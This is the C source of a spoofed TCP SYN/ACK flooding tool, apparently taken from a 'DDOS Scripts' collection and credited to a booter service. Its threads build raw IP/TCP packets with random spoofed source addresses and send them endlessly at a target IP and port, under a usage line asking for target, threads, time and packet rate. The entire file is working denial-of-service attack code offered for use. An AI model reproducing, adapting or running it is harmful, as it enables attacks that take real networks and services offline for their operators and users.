Path: blob/master/DDOS Scripts/L4/TCP/tcp-synack.c
4565 views
// TCP-SYNACK spoofed attack.1// © Booter.pw 201923// Imports.4#include<stdio.h>5#include<string.h>6#include<sys/socket.h>7#include<stdlib.h>8#include<errno.h>9#include<netinet/tcp.h>10#include <arpa/inet.h>11#include<netinet/ip.h>12#include <pthread.h>13#include <stdint.h>14#include <unistd.h>15#include <sys/types.h>16#include <stdbool.h>17#include <time.h>1819// Declaration of start global variables.20static unsigned int floodport;21#define BUFFER_SIZE 10022char sourceip[17];23volatile int limiter; // PPS Limitator.24volatile unsigned int pps; // PPS per Second, Global variable including for Threads.25volatile unsigned int sleeptime = 100; // Sleep in miliseconds for each packet if pps exeded.26volatile unsigned int lenght_pkt = 0;2728// Structure of the pseudo-header object.29struct pseudo_header30{31u_int32_t source_address;32u_int32_t dest_address;33u_int8_t placeholder;34u_int8_t protocol;35u_int16_t tcp_length;36struct tcphdr tcp;37};3839unsigned short checksum_tcp_packet(unsigned short *ptr,int nbytes) {40// Variables for csum.41register long sum;42unsigned short oddbyte;43register short answer;4445sum=0;46while(nbytes>1) {47sum+=*ptr++;48nbytes-=2;49}50if(nbytes==1) {51oddbyte=0;52*((u_char*)&oddbyte)=*(u_char*)ptr;53sum+=oddbyte;54}5556sum = (sum>>16)+(sum & 0xffff);57sum = sum + (sum>>16);58answer=(short)~sum;5960return(answer);61}6263void *flooding_thread(void *par1)64{65// Make socket66int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);67if(s == -1)68{69perror("[!] For use Script you need root stupid...");70exit(1);71}7273// Declares74char *targettr = (char *)par1;75char datagram[4096] , source_ip[32] , *data , *pseudogram;7677// Zero out the packet buffer.78memset (datagram, 0, 4096);7980// IPv4 header.81struct iphdr *iph = (struct iphdr *) datagram;8283// TCP header.84struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));85struct sockaddr_in sin;86struct pseudo_header psh;8788//Data part89data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);90if (lenght_pkt == 0) { // Bypass pps.91data = "";92}9394// Source Address and Such.95char primera [ 20 ] ;96int one_r = random_number_beetwhen(1, 250);97int two_r = random_number_beetwhen(1, 250);98int three_r = random_number_beetwhen(1, 250);99int four_r = random_number_beetwhen(1, 250);100101snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);102snprintf(sourceip, sizeof(sourceip)-1, primera);103strcpy(source_ip , sourceip);104sin.sin_family = AF_INET;105int rdzeroport;106if (floodport == 1) { // Random destination port.107rdzeroport = random_number_beetwhen(2, 65535);108sin.sin_port = htons(rdzeroport);109tcph->dest = htons (rdzeroport);110} else {111sin.sin_port = htons(floodport);112tcph->dest = htons (floodport);113}114115// All other IP packet header.116sin.sin_addr.s_addr = inet_addr (targettr);117iph->ihl = 5;118iph->version = 4;119iph->tos = 0;120iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);121iph->id = htons(1);122iph->frag_off = 0;123iph->ttl = 64;124iph->protocol = IPPROTO_TCP;125iph->check = 0;126iph->saddr = inet_addr ( source_ip );127iph->daddr = sin.sin_addr.s_addr;128iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);129int randSeq = random_number_beetwhen(10000, 99999);130int randAckSeq = random_number_beetwhen(10000, 99999);131int randSP = random_number_beetwhen(2, 65535);132//int randPD = random_number_beetwhen(2, 65535);133//int randttl = random_number_beetwhen(1, 255);134//int randihl = random_number_beetwhen(4, 7);135int randWin = random_number_beetwhen(1000, 9999);136tcph->source = randSP;137tcph->seq = randSeq;138tcph->ack_seq = 0;139tcph->doff = 5;140tcph->fin=0;141tcph->syn=1;142tcph->rst=0;143tcph->psh=0;144tcph->ack=0;145tcph->urg=0;146tcph->window = randWin;147tcph->check = 0;148tcph->urg_ptr = 0;149150psh.source_address = inet_addr( source_ip );151psh.dest_address = sin.sin_addr.s_addr;152psh.placeholder = 0;153psh.protocol = IPPROTO_TCP;154psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );155int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);156pseudogram = malloc(psize);157memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));158memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));159tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);160free(pseudogram);161int one = 1;162const int *val = &one;163if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)164{165exit(0);166}167int i;168while (1)169{170//Send the packet171if (sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0) /* a normal send() */172{173// ok174} else {175// Generate new IP.176one_r = random_number_beetwhen(1, 250);177two_r = random_number_beetwhen(1, 250);178three_r = random_number_beetwhen(1, 250);179four_r = random_number_beetwhen(1, 250);180snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);181snprintf(sourceip, sizeof(sourceip)-1, primera);182strcpy(source_ip , sourceip);183iph->saddr = inet_addr ( source_ip );184psh.source_address = inet_addr( source_ip );185if (lenght_pkt == 0) { // Bypass pps.186data = "";187}188if (floodport == 0) {189rdzeroport = random_number_beetwhen(2, 65535);190sin.sin_port = htons(rdzeroport);191tcph->dest = htons (rdzeroport);192} else {193sin.sin_port = htons(floodport);194tcph->dest = htons (floodport);195}196randSeq = random_number_beetwhen(10000, 99999);197randSP = random_number_beetwhen(2, 65535);198//randPD = random_number_beetwhen(2, 65535);199//randttl = random_number_beetwhen(1, 255);200tcph->source = randSP;201tcph->doff = 5; // First and only TCP segment, reset option.202tcph->seq = htons(randSeq);203tcph->psh = 0;204tcph->fin = 0;205tcph->rst = 0;206tcph->res2 = 0;207tcph->doff = 5;208if (random_number_beetwhen(1, 2) == 1) {209tcph->syn = 1;210tcph->ack = 0;211tcph->ack_seq = 0;212} else { // ACK213tcph->syn = 0;214tcph->ack = 1;215randAckSeq = random_number_beetwhen(10000, 99999);216tcph->ack_seq = randAckSeq;217}218tcph->urg = 0;219tcph->urg_ptr = 0;220221tcph->window = htons(512);222tcph->check = 0;223224iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);225iph->protocol = IPPROTO_TCP;226iph->check = 0;227iph->daddr = sin.sin_addr.s_addr;228iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);229psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );230int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);231pseudogram = malloc(psize);232memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));233memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));234tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);235free(pseudogram);236int one = 1;237const int *val = &one;238if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)239{240exit(0);241}242pps++;243if(i >= limiter)244{245i = 0;246usleep(sleeptime);247}248i++;249}250}251}252int random_number_beetwhen(int min, int max) {253static bool first = true;254if (first) {255srand( time(NULL) );256first = false;257}258return min + rand() % (max + 1 - min);259}260int main(int argc, char *argv[ ])261{262if(argc < 6){263fprintf(stderr, "[+] TCP-SYNACK © Booter.pw 2019 by @Alemalakra.\n");264fprintf(stdout, "[+] Usage: %s <IP> <PORT> <THREADS> <TIME> <PPS>\n", argv[0]);265exit(-1);266}267int multiplier = 20;268pps = 0;269limiter = 0;270271// Arguments of Method.272273floodport = atoi(argv[2]);274void * target = argv[1];275int maxim_pps = atoi(argv[5]);276int num_threads = atoi(argv[3]);277lenght_pkt = 0;278pthread_t thread[num_threads];279int alem = 0;280int i;281fprintf(stdout, "[+] Starting threads (This may take some seconds.)\n");282for(alem = 0;alem<num_threads;alem++){283pthread_create( &thread[alem], NULL, &flooding_thread, (void *)argv[1]); // Target284}285fprintf(stdout, "[-] Attack started.\n");286for(i = 0;i<(atoi(argv[4])*multiplier);i++) {287usleep((1000/multiplier)*1000);288if((pps*multiplier) > maxim_pps)289{290if(1 > limiter)291{292sleeptime+=100;293} else {294limiter--;295}296} else {297limiter++;298if(sleeptime > 25)299{300sleeptime-=25;301} else {302sleeptime = 0;303}304}305pps = 0;306}307308return 0;309}310311312313